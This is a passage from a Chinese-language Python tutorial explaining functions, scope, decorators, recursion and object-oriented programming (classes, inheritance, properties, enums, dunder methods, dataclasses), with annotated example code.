def full_example(a, b, /, c, d, *args, e, f, **kwargs):
    print(f"a={a}, b={b}, c={c}, d={d}")
    print(f"args={args}")
    print(f"e={e}, f={f}")
    print(f"kwargs={kwargs}")

full_example(1, 2, 3, 4, 5, 6, e=7, f=8, g=9, h=10)
# a=1, b=2, c=3, d=4
# args=(5, 6)
# e=7, f=8
# kwargs={'g': 9, 'h': 10}

11.3 返回值——"函数的出口"

return 语句

函数通过 return 语句把结果"送出去"。调用者可以接收这个结果。

# return 返回结果
def add(a, b):
    return a + b

result = add(3, 5)
print(result)  # 8

# return 之后的代码不会执行
def func():
    print("第一行")
    return 42
    print("这行永远不会执行")  # 死代码

func()  # 只打印 "第一行"

返回多个值(本质是返回元组)

# 返回多个值(Python 会自动打包成元组)
def get_info():
    return "张三", 18, "北京"

# 接收返回值
info = get_info()
print(info)        # ('张三', 18, '北京')  ← 是元组
print(type(info))  # <class 'tuple'>

# 用解包接收
name, age, city = get_info()
print(name)   # 张三
print(age)    # 18
print(city)   # 北京

没有 return 的函数返回 None

# 没有 return 或 return 后面没有值,返回 None
def say_hello():
    print("hello")

result = say_hello()
print(result)  # None

# 这不是 bug!很多函数只是执行操作,不需要返回值
# 比如 print()、list.append()、list.sort() 都返回 None

提前返回——简化嵌套条件

# 提前返回可以避免深层嵌套
def check_age(age):
    if age < 0:
        return "年龄不能为负数"
    if age < 18:
        return "未成年"
    if age < 65:
        return "成年人"
    return "老年人"

# 等价的嵌套写法(可读性差)
def check_age_nested(age):
    if age < 0:
        return "年龄不能为负数"
    else:
        if age < 18:
            return "未成年"
        else:
            if age < 65:
                return "成年人"
            else:
                return "老年人"
实用技巧:提前返回(Early Return)

当函数有多个"出口"时,用提前返回可以让代码更扁平、更易读。这是专业程序员的常用模式。

11.4 作用域(LEGB 规则)——"变量在哪里可见"

什么是作用域?

作用域决定了变量在哪些地方可以被访问。Python 用 LEGB 规则来查找变量:

L
Local——函数内部定义的变量(最内层)
E
Enclosing——嵌套函数的外层函数中的变量
G
Global——模块级别(文件顶层)定义的变量
B
Built-in——Python 内置的变量(如 len, print, type)
# L — Local(局部作用域)
def func():
    x = 10          # x 是局部变量,只在函数内可见
    print(x)
func()               # 10
# print(x)           # ❌ NameError: x 在函数外不存在

# E — Enclosing(嵌套函数的外层作用域)
def outer():
    x = 10          # x 是 outer 的局部变量
    def inner():
        print(x)    # inner 可以访问 outer 的 x(Enclosing)
    inner()
outer()              # 10

# 如果要在内层修改外层变量,用 nonlocal
def outer():
    x = 10
    def inner():
        nonlocal x  # 声明要修改外层的 x
        x = 20
    inner()
    print(x)         # 20

# G — Global(全局作用域)
x = 100              # 全局变量
def func():
    print(x)        # 可以读取全局变量
func()               # 100

# 如果要在函数内修改全局变量,用 global
def func():
    global x        # 声明要修改全局的 x
    x = 200
func()
print(x)             # 200

# B — Built-in(内置作用域)
# len, print, type, int, str, list 等都是内置的
# 你可以在任何地方使用它们
作用域查找规则总结

当 Python 遇到一个变量名时,按以下顺序查找:

  1. Local → 函数内部
  2. Enclosing → 外层函数(如果有嵌套)
  3. Global → 模块顶层
  4. Built-in → Python 内置

如果四个地方都没找到,就抛出 NameError。

11.5 Docstring(文档字符串)——"函数的说明书"

什么是 Docstring?

Docstring 是函数体的第一条字符串,用来说明函数的功能、参数和返回值。它不是注释(#),而是可以通过 __doc__ 属性访问的文档。

def calculate_area(radius):
    """
    计算圆的面积。

    参数:
        radius (float): 圆的半径
    返回:
        float: 圆的面积
    示例:
        >>> calculate_area(5)
        78.53981633974483
    """
    import math
    return math.pi * radius ** 2

# 用 __doc__ 查看文档
print(calculate_area.__doc__)

# 用 help() 查看完整帮助
help(calculate_area)

# 在 IDE 中,鼠标悬停在函数名上就能看到 Docstring
Docstring 的三种风格
# 1. Google 风格(推荐)
def func(a, b):
    """简短描述。

    Args:
        a: 第一个参数
        b: 第二个参数

    Returns:
        返回值描述
    """

# 2. NumPy 风格
def func(a, b):
    """简短描述。

    Parameters
    ----------
    a : type
        参数描述
    b : type
        参数描述

    Returns
    -------
    type
        返回值描述
    """

# 3. reStructuredText 风格
def func(a, b):
    """简短描述。

    :param a: 参数描述
    :param b: 参数描述
    :returns: 返回值描述
    """
常见错误总结
  • 忘记 return:函数没有 return 语句会返回 None
  • 默认参数用可变对象:用 None 代替列表/字典
  • 混淆 = 和 ==:= 是赋值,== 是比较
  • 在函数外访问局部变量:会报 NameError
  • 忘记 global/nonlocal:在函数内修改外层变量需要声明

第十二章:函数进阶

本章导览

上一章我们学会了函数的基础用法。本章将带你进入函数的"高级模式":可变参数、匿名函数、闭包、装饰器和递归。这些是 Python 中最强大也最优雅的特性,掌握它们后,你的代码会变得更加灵活和简洁。

12.1 *args 和 **kwargs——"接收任意数量的参数"

为什么需要可变参数?

有时候你不知道函数会被传入多少个参数。比如你想写一个"求和"函数,用户可能传入2个数,也可能传入100个数。这时候就需要 *args 和 **kwargs。

生活类比

*args = 一个快递箱,不管卖家寄了多少件商品,全部装进箱子(元组)
**kwargs = 一张表单,不管填了多少个字段,全部记录在表(字典)里

# *args:接收任意数量的位置参数,打包成元组
def add_all(*args):
    print(f"args 的类型: {type(args)}")  # <class 'tuple'>
    print(f"args 的值: {args}")           # (1, 2, 3, 4, 5)
    return sum(args)

print(add_all(1, 2, 3, 4, 5))  # 15
print(add_all(10, 20))          # 30
print(add_all())                # 0(没有参数,args 是空元组)

# **kwargs:接收任意数量的关键字参数,打包成字典
def print_info(**kwargs):
    print(f"kwargs 的类型: {type(kwargs)}")  # <class 'dict'>
    for key, value in kwargs.items():
        print(f"{key}: {value}")

print_info(name="张三", age=18, city="北京")
# name: 张三
# age: 18
# city: 北京

*args 和 **kwargs 一起使用

# 顺序:位置参数, *args, 关键字参数, **kwargs
def func(a, b, *args, c=10, **kwargs):
    print(f"a={a}, b={b}")      # 位置参数
    print(f"args={args}")        # 多余的位置参数
    print(f"c={c}")              # 关键字参数(有默认值)
    print(f"kwargs={kwargs}")    # 多余的关键字参数

func(1, 2, 3, 4, c=20, x=100, y=200)
# a=1, b=2
# args=(3, 4)
# c=20
# kwargs={'x': 100, 'y': 200}
命名不一定要用 args 和 kwargs

* 和 ** 才是关键,后面的变量名可以随便取。但 args 和 kwargs 是社区约定俗成的命名,建议遵守。

# 这样写也完全可以
def func(*numbers, **options):
    print(numbers)
    print(options)

12.2 Lambda 匿名函数——"一行搞定的小函数"

什么是 Lambda?

Lambda 是一种没有名字的函数,只能写一行表达式。它的语法是:

lambda 参数: 表达式
生活类比

普通函数 = 你写了一张完整的菜谱(有名字、有步骤、有注意事项)
Lambda = 你在便签纸上写了一句话:"苹果切片"——简单、快速、用完就扔

# 普通函数 vs Lambda
# 普通函数
def square(x):
    return x ** 2

# Lambda 等价写法
square = lambda x: x ** 2
print(square(5))  # 25

# 多个参数
add = lambda a, b: a + b
print(add(3, 5))  # 8

# 带条件的 Lambda
absolute = lambda x: x if x >= 0 else -x
print(absolute(-5))   # 5
print(absolute(3))    # 3

Lambda 的常见用途

# 用途1:作为排序的 key
students = [("张三", 90), ("李四", 75), ("王五", 85)]
students.sort(key=lambda s: s[1])  # 按分数排序
print(students)  # [('李四', 75), ('王五', 85), ('张三', 90)]

# 按字符串长度排序
words = ["banana", "apple", "cherry", "date"]
words.sort(key=lambda w: len(w))
print(words)  # ['date', 'apple', 'banana', 'cherry']

# 用途2:配合 filter 使用(筛选)
numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
even = list(filter(lambda x: x % 2 == 0, numbers))
print(even)  # [2, 4, 6, 8, 10]

# 用途3:配合 map 使用(转换)
squares = list(map(lambda x: x**2, numbers))
print(squares)  # [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

# 用途4:配合 sorted 使用(不修改原列表)
data = [{"name": "张三", "age": 30}, {"name": "李四", "age": 20}]
sorted_data = sorted(data, key=lambda d: d["age"])
print(sorted_data)  # [{'name': '李四', 'age': 20}, {'name': '张三', 'age': 30}]
Lambda 的限制
  • 只能写一行表达式,不能写多行语句
  • 不能包含 return(表达式本身就是返回值)
  • 不能包含 if-else 语句(但可以用三元表达式)
  • 复杂的逻辑应该用普通函数,Lambda 只适合简单操作

12.3 闭包——"函数记住了它的出生环境"

什么是闭包?

闭包 = 内部函数 + 它记住的外部变量。当一个内部函数引用了外部函数的变量,即使外部函数已经执行完毕,内部函数仍然可以访问那些变量。

生活类比

想象你在一个工厂里工作。工厂给你一个工具箱(外部变量),你带着工具箱离开了工厂(内部函数返回)。即使工厂关门了,你手里的工具箱还在——你仍然可以使用里面的工具。这就是闭包:函数"记住"了它出生时的环境。

def make_multiplier(n):
    """创建一个乘以 n 的函数"""
    def multiplier(x):
        return x * n    # n 来自外层函数,被"记住"了
    return multiplier

# make_multiplier(2) 执行后,n=2 被 multiplier "记住"
double = make_multiplier(2)
triple = make_multiplier(3)

print(double(5))   # 10  (5 * 2)
print(triple(5))   # 15  (5 * 3)

# 验证闭包
print(double.__closure__)      # (<cell at 0x...: int object>,)
print(double.__closure__[0].cell_contents)  # 2

闭包的实际用途

# 用途1:工厂函数(创建一系列相似的函数)
def make_greeting(prefix):
    def greet(name):
        return f"{prefix},{name}!"
    return greet

morning_greet = make_greeting("早上好")
evening_greet = make_greeting("晚上好")
print(morning_greet("张三"))  # 早上好,张三!
print(evening_greet("李四"))  # 晚上好,李四!

# 用途2:计数器
def make_counter(start=0):
    count = [start]  # 用列表来存储,因为列表是可变的
    def counter():
        count[0] += 1
        return count[0]
    return counter

c = make_counter()
print(c())  # 1
print(c())  # 2
print(c())  # 3

# 用途3:配置函数
def make_validator(min_val, max_val):
    def validate(x):
        return min_val <= x <= max_val
    return validate

age_validator = make_validator(0, 150)
score_validator = make_validator(0, 100)
print(age_validator(25))    # True
print(age_validator(200))   # False
print(score_validator(85))  # True

12.4 装饰器——"不修改代码,给函数加功能"

什么是装饰器?

装饰器是 Python 中最强大的特性之一。它可以在不修改原函数代码的情况下,给函数增加额外功能。装饰器的本质是一个接收函数、返回函数的高阶函数。

生活类比

装饰器就像给手机套手机壳——手机本身没变,但多了保护功能。你也可以套多层壳(多个装饰器叠加)。
或者像快递包装:商品(原函数)没变,但外面包了泡沫(增加的功能),再套了纸箱(又增加了一层功能)。

# 最简单的装饰器
import time

def timer(func):
    """测量函数执行时间的装饰器"""
    def wrapper(*args, **kwargs):
        start = time.time()
        result = func(*args, **kwargs)    # 调用原函数
        end = time.time()
        print(f"{func.__name__} 耗时 {end - start:.4f} 秒")
        return result
    return wrapper

# 用 @ 语法使用装饰器(推荐)
@timer
def slow_function():
    time.sleep(1)
    print("执行完成")

slow_function()
# 执行完成
# slow_function 耗时 1.0012 秒

# 等价写法(不使用 @ 语法)
def slow_function2():
    time.sleep(1)
    print("执行完成")
slow_function2 = timer(slow_function2)  # 手动装饰

带参数的装饰器

# 带参数的装饰器需要三层嵌套
def repeat(n):
    """让函数执行 n 次的装饰器"""
    def decorator(func):
        def wrapper(*args, **kwargs):
            for _ in range(n):
                result = func(*args, **kwargs)
            return result
        return wrapper
    return decorator

@repeat(3)
def say_hello():
    print("Hello!")

say_hello()
# Hello!
# Hello!
# Hello!

保留原函数的元信息

# 用 functools.wraps 保留原函数的 __name__、__doc__ 等
import functools

def my_decorator(func):
    @functools.wraps(func)  # ← 这一行很重要!
    def wrapper(*args, **kwargs):
        print("函数执行前")
        result = func(*args, **kwargs)
        print("函数执行后")
        return result
    return wrapper

@my_decorator
def greet(name):
    """向某人打招呼"""
    print(f"你好,{name}")

print(greet.__name__)  # greet(没有 wraps 的话是 wrapper)
print(greet.__doc__)   # 向某人打招呼
写装饰器的最佳实践
  • 始终使用 @functools.wraps(func)
  • 内部函数用 *args, **kwargs 接收参数,这样装饰器可以用于任何函数
  • 不要忘记 return result,否则原函数的返回值会丢失
装饰器的完整体系

本章介绍的是函数装饰器——最基础、最常用的装饰器。Python 中还有类装饰器和方法装饰器,它们在面向对象章节中详细介绍:

  • @property(第 14 章):把方法变成属性访问
  • @classmethod / @staticmethod(第 14 章):类方法和静态方法
  • @contextmanager(第 16 章):用生成器实现上下文管理器
  • @functools.lru_cache(第 21 章):自动缓存函数结果

先把函数装饰器的原理(闭包 + 高阶函数)理解透彻,后面的类/方法装饰器就很容易掌握了。

12.5 递归——"函数调用自己"

什么是递归?

递归就是函数调用自身。就像两面镜子之间的无限反射——但你必须有一个"终止条件"(基准情况),否则会无限递归。

生活类比

递归就像俄罗斯套娃:你打开一个娃娃,里面有一个更小的娃娃,再打开,还有更小的……直到你找到最小的那个(基准情况),然后开始往回组装。

# 阶乘:n! = n * (n-1) * (n-2) * ... * 1
def factorial(n):
    if n <= 1:          # 基准情况(终止条件)
        return 1
    return n * factorial(n - 1)  # 递归调用

print(factorial(5))  # 120  (5*4*3*2*1)

# 执行过程:
# factorial(5) = 5 * factorial(4)
#              = 5 * 4 * factorial(3)
#              = 5 * 4 * 3 * factorial(2)
#              = 5 * 4 * 3 * 2 * factorial(1)
#              = 5 * 4 * 3 * 2 * 1
#              = 120

# 斐波那契数列:1, 1, 2, 3, 5, 8, 13, ...
def fibonacci(n):
    if n <= 2:
        return 1
    return fibonacci(n - 1) + fibonacci(n - 2)

print(fibonacci(10))  # 55
递归的限制
  • Python 默认递归深度限制是 1000 层。超过会报 RecursionError
  • 可以用 sys.setrecursionlimit() 修改,但不推荐
  • 深层递归应该改为循环,或者用尾递归优化(Python 不支持自动尾递归优化)
  • 递归虽然优雅,但对于简单问题,循环通常更高效

12.6 偏函数(functools.partial)——"固定部分参数"

什么是偏函数?

偏函数就是把一个函数的某些参数"固定住",生成一个新的简化版函数。就像你把相机的某些设置(光圈、快门)固定好,以后只需要按快门就行。

from functools import partial

# 原始函数
def power(base, exponent):
    return base ** exponent

# 创建偏函数:固定 exponent=2
square = partial(power, exponent=2)
cube = partial(power, exponent=3)

print(square(5))  # 25  (5**2)
print(cube(3))    # 27  (3**3)

# 实际用途:简化重复调用
int2 = partial(int, base=2)    # 二进制转十进制
int16 = partial(int, base=16)  # 十六进制转十进制
print(int2("1010"))    # 10
print(int16("FF"))     # 255

# 实际用途:固定 print 的参数
print_error = partial(print, "[ERROR]")
print_warning = partial(print, "[WARNING]")
print_error("文件不存在")    # [ERROR] 文件不存在
print_warning("磁盘空间不足") # [WARNING] 磁盘空间不足
常见错误总结
  • 忘记 *args 的括号:*args 收集的是元组,不是列表
  • Lambda 写多行:Lambda 只能写一行表达式,复杂逻辑用普通函数
  • 闭包中修改外层变量:需要用 nonlocal 声明
  • 装饰器忘记 @functools.wraps:会导致原函数的元信息丢失
  • 递归没有终止条件:会导致无限递归和 RecursionError

第十三章:面向对象编程(上)——类与对象

本章导览

从本章开始,我们进入面向对象编程(OOP)的世界。OOP 是一种编程思想,它让你把数据和操作数据的方法"打包"在一起,形成一个"对象"。就像现实世界中的万物——每个人、每辆车、每只猫都是一个对象,它们有自己的属性(名字、颜色)和行为(说话、移动)。学会 OOP,你就能用代码描述现实世界中的任何事物。

13.1 什么是面向对象?——"用代码描述现实世界"

面向过程 vs 面向对象

在学习 OOP 之前,我们写的都是"面向过程"的代码——按步骤一步一步执行。面向对象则是一种不同的思维方式:

对比面向过程面向对象
思路按步骤执行把事物抽象成对象
数据和函数分开存放打包在一起
比喻菜谱(步骤1, 步骤2...)食材自己知道怎么烹饪
适合场景简单脚本大型项目、复杂系统
生活类比

类(Class) = 图纸/模具——定义了对象应该有什么属性和行为。
对象(Object) = 用图纸造出来的产品——每个对象有自己的具体数据。
比如"汽车"是类,你的车、我的车是对象。每辆车颜色不同、里程不同,但都有"启动""刹车"等行为。

13.2 定义类和创建对象——"从图纸到产品"

类的定义

用 class 关键字定义类。类就像一个"模板",定义了这类事物应该有什么属性和行为。

# 定义类
class Dog:
    # __init__ 是构造方法,创建对象时自动调用
    def __init__(self, name, age):
        self.name = name    # 实例属性:每个狗有自己的名字
        self.age = age      # 实例属性:每个狗有自己的年龄

    # 实例方法:狗的行为
    def bark(self):
        print(f"{self.name}:汪汪!")

    def info(self):
        print(f"名字:{self.name},年龄:{self.age}岁")

# 创建对象(实例化)——用图纸造产品
dog1 = Dog("旺财", 3)    # 创建第一只狗
dog2 = Dog("小黑", 5)    # 创建第二只狗

# 调用方法
dog1.bark()   # 旺财:汪汪!
dog2.info()   # 名字:小黑,年龄:5岁

# 访问属性
print(dog1.name)  # 旺财
print(dog2.age)   # 5
__init__ 方法详解

__init__ 是 Python 的构造方法(也叫初始化方法),在创建对象时自动调用。它的作用是给新创建的对象设置初始状态。

# 这两行代码是等价的
dog1 = Dog("旺财", 3)
# Python 内部实际执行了:
# 1. 创建一个空的 Dog 对象
# 2. 调用 dog1.__init__("旺财", 3)
# 3. 返回初始化后的对象

13.3 理解 self——"谁在调用方法"

self 是什么?

self 代表当前对象本身。当你调用 dog1.bark() 时,Python 会自动把 dog1 作为第一个参数传给 bark 方法,这个参数就是 self。

生活类比

self 就像"我"这个词。当张三说"我饿了","我"指的是张三;当李四说"我饿了","我"指的是李四。同一个词(self/我),在不同的人(对象)嘴里,指代不同。

class Person:
    def __init__(self, name, age):
        self.name = name     # self.name 表示"这个人的名字"
        self.age = age

    def introduce(self):
        # 通过 self 访问自己的属性
        print(f"我叫{self.name},今年{self.age}岁")

p1 = Person("张三", 18)
p2 = Person("李四", 20)

p1.introduce()  # 我叫张三,今年18岁
p2.introduce()  # 我叫李四,今年20岁

# 同一个方法,因为 self 不同,输出也不同
# p1.introduce() 等价于 Person.introduce(p1)
# p2.introduce() 等价于 Person.introduce(p2)
self 的本质

self 不是关键字,只是一个约定俗成的变量名。你可以用其他名字(如 this),但强烈建议用 self,这是 Python 社区的规范。

# 虽然能用其他名字,但不要这么做
class Dog:
    def __init__(this, name):  # 技术上可以,但不推荐
        this.name = name

13.4 实例属性 vs 类属性——"个人财产 vs 公共财产"

两者的区别

类属性属于类本身,所有实例共享;实例属性属于某个实例,每个实例独有。

生活类比

类属性 = 学校的名字——所有学生共享同一个学校名
实例属性 = 学生的名字——每个学生有自己的名字

class Student:
    school = "北京大学"    # 类属性:所有实例共享

    def __init__(self, name):
        self.name = name  # 实例属性:每个实例独有

s1 = Student("张三")
s2 = Student("李四")

# 类属性共享
print(s1.school)  # 北京大学
print(s2.school)  # 北京大学
Student.school = "清华大学"  # 修改类属性
print(s1.school)  # 清华大学(所有实例都变了)
print(s2.school)  # 清华大学

# 实例属性独立
s1.score = 95     # 给 s1 添加属性(s2 不受影响)
print(s1.score)   # 95
# print(s2.score) # ❌ AttributeError: s2 没有 score 属性

# 查找顺序:先找实例属性,再找类属性
s1.school = "复旦大学"  # 给 s1 创建了同名的实例属性
print(s1.school)   # 复旦大学(实例属性)
print(s2.school)   # 清华大学(类属性)
print(Student.school)  # 清华大学(类属性没变)

实例方法 vs 类方法 vs 静态方法

class MyClass:
    class_attr = "我是类属性"

    def instance_method(self):
        """实例方法:第一个参数是 self,可以访问实例和类属性"""
        print(f"实例方法:{self}")

    @classmethod
    def class_method(cls):
        """类方法:第一个参数是 cls(类本身),只能访问类属性"""
        print(f"类方法:{cls}")

    @staticmethod
    def static_method():
        """静态方法:没有 self 或 cls,只是一个普通函数放在类里"""
        print("静态方法")

# 调用方式
obj = MyClass()
obj.instance_method()   # 通过实例调用
MyClass.class_method()  # 通过类调用
MyClass.static_method() # 通过类调用

13.5 组合 vs 继承——"拥有 vs 是"

组合:一个对象"拥有"另一个对象

# 组合:把其他类的对象作为自己的属性
class Engine:
    def start(self):
        print("引擎启动")

class Car:
    def __init__(self, brand):
        self.brand = brand
        self.engine = Engine()  # 组合:汽车包含引擎

    def start(self):
        print(f"{self.brand}汽车")
        self.engine.start()

car = Car("特斯拉")
car.start()
# 特斯拉汽车
# 引擎启动

# 组合的好处:Engine 可以独立使用,也可以被其他类复用
engine = Engine()
engine.start()  # 引擎启动
组合 vs 继承的选择原则
  • 组合(has-a):汽车有一个引擎 → 用组合
  • 继承(is-a):狗是一种动物 → 用继承
  • 经验法则:优先使用组合,而不是继承。组合更灵活,耦合度更低。
常见错误总结
  • 忘记 self:实例方法的第一个参数必须是 self
  • 混淆类属性和实例属性:类属性在类中定义,实例属性在 __init__ 中用 self 定义
  • 用类调用实例方法:Dog.bark() 会报错,必须用 dog1.bark()
  • 在 __init__ 外面定义属性:虽然可以,但不推荐,应该在 __init__ 中初始化所有属性

第十四章:面向对象编程(中)——继承与多态

本章导览

继承和多态是 OOP 的两大核心概念。继承让你可以在已有类的基础上创建新类,避免重复代码;多态让同一个方法在不同对象上有不同的行为。就像"动物"是一个大类,"狗"和"猫"都继承自"动物",但它们的叫声不同——这就是多态。

14.1 继承——"站在巨人的肩膀上"

什么是继承?

继承让子类自动拥有父类的所有属性和方法,还能在此基础上扩展或修改。就像孩子会继承父母的基因,但也有自己独特的个性。

生活类比

父类(基类) = "动物"——定义了所有动物共有的属性(名字、年龄)和行为(吃、睡)
子类(派生类) = "狗"、"猫"——继承了动物的所有特征,还有自己独特的行为(狗会捡球,猫会抓老鼠)

# 父类(基类)
class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        print(f"{self.name}发出声音")

    def eat(self):
        print(f"{self.name}在吃东西")

# 子类(派生类)继承 Animal
class Dog(Animal):
    def fetch(self):      # Dog 自己的新方法
        print(f"{self.name}去捡球")

class Cat(Animal):
    def speak(self):      # 重写父类方法
        print(f"{self.name}:喵~")

    def catch_mouse(self):  # Cat 自己的新方法
        print(f"{self.name}在抓老鼠")

# Dog 继承了 Animal 的所有方法
dog = Dog("旺财")
dog.speak()   # 旺财发出声音(继承自 Animal)
dog.eat()     # 旺财在吃东西(继承自 Animal)
dog.fetch()   # 旺财去捡球(Dog 自己的方法)

# Cat 重写了 speak 方法
cat = Cat("咪咪")
cat.speak()   # 咪咪:喵~(重写了父类方法)
cat.eat()     # 咪咪在吃东西(继承自 Animal)
cat.catch_mouse()  # 咪咪在抓老鼠(Cat 自己的方法)

继承的好处

14.2 super() 函数——"调用父类的方法"

为什么需要 super()?

当子类需要调用父类的方法(尤其是 __init__)时,使用 super()。这样你不需要显式写出父类的名字,代码更灵活。

class Animal:
    def __init__(self, name, sound):
        self.name = name
        self.sound = sound

class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name, sound="汪汪")  # 调用父类的 __init__
        self.breed = breed    # 子类自己的属性

dog = Dog("旺财", "金毛")
print(dog.name)    # 旺财(来自父类)
print(dog.sound)   # 汪汪(来自父类)
print(dog.breed)   # 金毛(子类自己添加的)
super() 的本质

super() 返回的是一个代理对象,它会按照 MRO(方法解析顺序)去找父类的方法。在单继承中,它就是直接父类;在多继承中,它会按照顺序查找。

14.3 多态——"同一个方法,不同的行为"

什么是多态?

多态(Polymorphism)是指同一个方法,在不同的对象上有不同的实现。就像"说话"这个动作——狗说"汪汪",猫说"喵",但它们都是在"说话"。

class Shape:
    def area(self):
        raise NotImplementedError("子类必须实现 area 方法")

class Circle(Shape):
    def __init__(self, radius):
        self.radius = radius
    def area(self):
        return 3.14159 * self.radius ** 2

class Rectangle(Shape):
    def __init__(self, width, height):
        self.width = width
        self.height = height
    def area(self):
        return self.width * self.height

class Triangle(Shape):
    def __init__(self, base, height):
        self.base = base
        self.height = height
    def area(self):
        return 0.5 * self.base * self.height

# 多态:同一个函数,处理不同类型的对象
def print_area(shape):
    print(f"面积是:{shape.area()}")

print_area(Circle(5))           # 面积是:78.53975
print_area(Rectangle(4, 6))     # 面积是:24
print_area(Triangle(3, 8))      # 面积是:12.0
# 不需要知道 shape 具体是什么类型,只要它有 area() 方法就行
鸭子类型(Duck Typing)

Python 的多态是基于"鸭子类型"的:如果一个东西走路像鸭子、叫声像鸭子,那它就是鸭子。不需要它真的继承自"鸭子"类。

# 不需要继承 Shape,只要有 area() 方法就行
class Circle:
    def __init__(self, radius):
        self.radius = radius
    def area(self):
        return 3.14159 * self.radius ** 2

# print_area 可以接受任何有 area() 方法的对象
print_area(Circle(5))  # ✅ 即使 Circle 没有继承 Shape

14.4 抽象类(ABC)——"不能实例化的模板"

什么是抽象类?

抽象类是一种不能被实例化的类,它的作用是定义"接口规范"——要求子类必须实现某些方法。就像一个"合同模板",规定了子类必须提供哪些功能。

from abc import ABC, abstractmethod

class Animal(ABC):             # 抽象类不能实例化
    @abstractmethod
    def speak(self):           # 抽象方法:子类必须实现
        pass

    @abstractmethod
    def move(self):
        pass

    def sleep(self):           # 普通方法:子类可以直接继承
        print(f"{self.name}在睡觉")

class Dog(Animal):
    def speak(self):           # 必须实现抽象方法
        print("汪汪!")
    def move(self):
        print("四条腿跑")

class Bird(Animal):
    def speak(self):
        print("叽叽!")
    def move(self):
        print("飞")

# animal = Animal()  # ❌ TypeError! 抽象类不能实例化
dog = Dog()
dog.speak()  # 汪汪!
dog.move()   # 四条腿跑
dog.sleep()  # None在睡觉(注意:name 没有设置,实际使用时需要在 __init__ 中设置)

14.5 @property 属性控制——"像访问属性一样调用方法"

为什么需要 @property?

有时候你想在获取或设置属性时加入一些逻辑(比如验证、计算),但又不想改变访问方式。@property 让你把方法伪装成属性——调用时不需要加括号。

生活类比

@property 就像自动门:你走过去(访问属性),门自动打开(执行 getter 逻辑);你推门(设置属性),门会检查你有没有权限(执行 setter 逻辑)。对你来说,门就是"自动"的,不需要手动操作。

class Student:
    def __init__(self, name, score):
        self.name = name
        self._score = score    # _ 开头表示"内部使用"

    @property
    def score(self):
        """getter:获取分数"""
        return self._score

    @score.setter
    def score(self, value):
        """setter:设置分数(带验证)"""
        if not 0 <= value <= 100:
            raise ValueError("分数必须在 0-100 之间")
        self._score = value

    @property
    def grade(self):
        """只读属性:根据分数自动计算等级"""
        if self._score >= 90: return "A"
        if self._score >= 80: return "B"
        if self._score >= 60: return "C"
        return "D"

s = Student("张三", 85)
print(s.score)    # 85(通过 @property 调用 getter)
s.score = 95      # 通过 @score.setter 设置
print(s.grade)    # A(只读属性,自动计算)
# s.grade = "B"   # ❌ AttributeError(没有 setter,只读)
# s.score = 150   # ❌ ValueError(验证不通过)

14.6 枚举(Enum)——"有意义的常量"

为什么需要枚举?

用数字或字符串表示状态(如 1=红灯, 2=绿灯)容易出错——谁能记住 1 是什么?枚举让你用有意义的名字代替魔法数字。

from enum import Enum, auto

class Color(Enum):
    RED = 1
    GREEN = 2
    BLUE = 3

class Direction(Enum):
    UP = auto()      # auto() 自动分配值
    DOWN = auto()
    LEFT = auto()
    RIGHT = auto()

# 使用枚举
color = Color.RED
print(color)           # Color.RED
print(color.name)      # RED
print(color.value)     # 1

# 枚举比较
print(Color.RED == Color.RED)   # True
print(Color.RED == Color.BLUE)  # False
print(Color.RED is Color.RED)   # True

# 遍历枚举
for d in Direction:
    print(f"{d.name}: {d.value}")
# UP: 1
# DOWN: 2
# LEFT: 3
# RIGHT: 4
为什么用枚举?
  • 可读性:TrafficLight.RED 比 1 清晰得多
  • 安全性:防止传入无效值(如 Color.PURPLE 会报错)
  • IDE 支持:能自动补全,减少拼写错误
常见错误总结
  • 忘记调用 super().__init__:子类的 __init__ 不会自动调用父类的 __init__
  • 抽象类可以实例化:抽象类不能直接创建对象,必须实现所有抽象方法
  • @property 忘记 @xxx.setter:没有 setter 的属性是只读的
  • 过度使用继承:优先使用组合,继承适合"is-a"关系

第十五章:面向对象编程(下)——魔法方法与设计模式

本章导览

魔法方法是 Python 中最"魔法"的特性——它们让你的自定义类能像内置类型一样使用 +、-、len()、print() 等操作。dataclass 则是 Python 3.7 引入的"懒人神器",自动生成大量样板代码。本章还会介绍几种常用的设计模式。

15.1 魔法方法(Dunder Methods)——"给类加魔法"

魔法方法是 Python 中以双下划线开头和结尾的特殊方法,它们让自定义类能像内置类型一样使用:

class Vector:
    def __init__(self, x, y):
        self.x = x
        self.y = y

    def __str__(self):
        """定义 print() 时的输出"""
        return f"Vector({self.x}, {self.y})"

    def __repr__(self):
        """定义在解释器中的显示"""
        return f"Vector({self.x}, {self.y})"

    def __add__(self, other):
        """定义 + 运算"""
        return Vector(self.x + other.x, self.y + other.y)

    def __sub__(self, other):
        """定义 - 运算"""
        return Vector(self.x - other.x, self.y - other.y)

    def __mul__(self, scalar):
        """定义 * 运算"""
        return Vector(self.x * scalar, self.y * scalar)

    def __len__(self):
        """定义 len() 行为"""
        return int((self.x**2 + self.y**2)**0.5)

    def __eq__(self, other):
        """定义 == 比较"""
        return self.x == other.x and self.y == other.y

    def __bool__(self):
        """定义布尔值(非零向量为 True)"""
        return self.x != 0 or self.y != 0

v1 = Vector(3, 4)
v2 = Vector(1, 2)

print(v1)            # Vector(3, 4)    ← __str__
print(v1 + v2)       # Vector(4, 6)    ← __add__
print(v1 - v2)       # Vector(2, 2)    ← __sub__
print(v1 * 3)        # Vector(9, 12)   ← __mul__
print(len(v1))       # 5               ← __len__
print(v1 == v2)      # False           ← __eq__

常用魔法方法速查

方法触发条件用途
__init__创建对象时初始化属性
__str__print(obj)用户友好的字符串
__repr__在解释器中显示开发者友好的字符串
__len__len(obj)返回长度
__getitem__obj[key]索引访问
__setitem__obj[key]=val索引赋值
__contains__x in obj成员判断
__iter__for x in obj可迭代
__call__obj()使对象可调用
__add__a + b加法
__eq__a == b相等比较
__lt__a < b小于比较
__enter__/__exit__with obj上下文管理器

15.2 dataclass(Python 3.7+)

自动生成 __init__、__repr__、__eq__ 等方法,省去大量样板代码:

from dataclasses import dataclass, field

# 普通写法——需要手写很多方法
class StudentOld:
    def __init__(self, name, age, scores=None):
        self.name = name
        self.age = age
        self.scores = scores or []
    def __repr__(self):
        return f"Student(name={self.name!r}, age={self.age})"
    def __eq__(self, other):
        return self.name == other.name and self.age == other.age

# dataclass 写法——自动搞定
@dataclass
class Student:
    name: str
    age: int
    scores: list = field(default_factory=list)

    # 还可以自定义方法
    def average(self):
